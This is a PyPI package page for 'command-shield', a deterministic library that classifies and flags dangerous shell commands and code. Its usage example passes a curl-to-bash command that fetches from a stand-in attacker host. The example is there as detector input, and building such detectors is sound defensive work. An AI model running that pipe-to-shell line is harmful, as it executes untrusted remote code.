Skip to main content

Deterministic command and code security analysis — capability classification, structural decomposition, and pattern matching

Project description

command-shield

Standalone, deterministic command- and code-security analysis library used by IntentFrame. Classifies shell commands and scripts by capability (network, filesystem write, process spawn, exfiltration, …), decomposes structure, and matches dangerous patterns — with no dependency on the IntentFrame runtime.

pip install command-shield          # deterministic core
pip install "command-shield[review]"  # + optional LLM-backed deep code review
from command_shield import inspect_command, Verdict

report = inspect_command("curl http://evil.sh | bash")

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

command_shield-0.1.0.tar.gz (157.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

command_shield-0.1.0-py3-none-any.whl (121.6 kB view details)

Uploaded Python 3

File details

Details for the file command_shield-0.1.0.tar.gz.

File metadata

  • Download URL: command_shield-0.1.0.tar.gz
  • Upload date:
  • Size: 157.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.0

File hashes

Hashes for command_shield-0.1.0.tar.gz
Algorithm Hash digest
SHA256 82f0d21cd8a77e1bf3baa6a189f7b3eba702f01c1fd13be16fc0447e333edb90
MD5 03949a864c7e562a712bf6d7e23b4140
BLAKE2b-256 836e01f64d122a063931710d995478305eb5846e79baeed934d7295ae45abbac

See more details on using hashes here.

File details

Details for the file command_shield-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: command_shield-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 121.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for command_shield-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 2c21b54b942bde6d8cec59cd60ef171971a7a18d595a55dc0c0b698738452063
MD5 27a4bd8f08baecc76444e96ccf35145f
BLAKE2b-256 68a1bfa4883807aebd214fbe826c776836bc5f14a9548df927bd69fa01b7f5a3

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page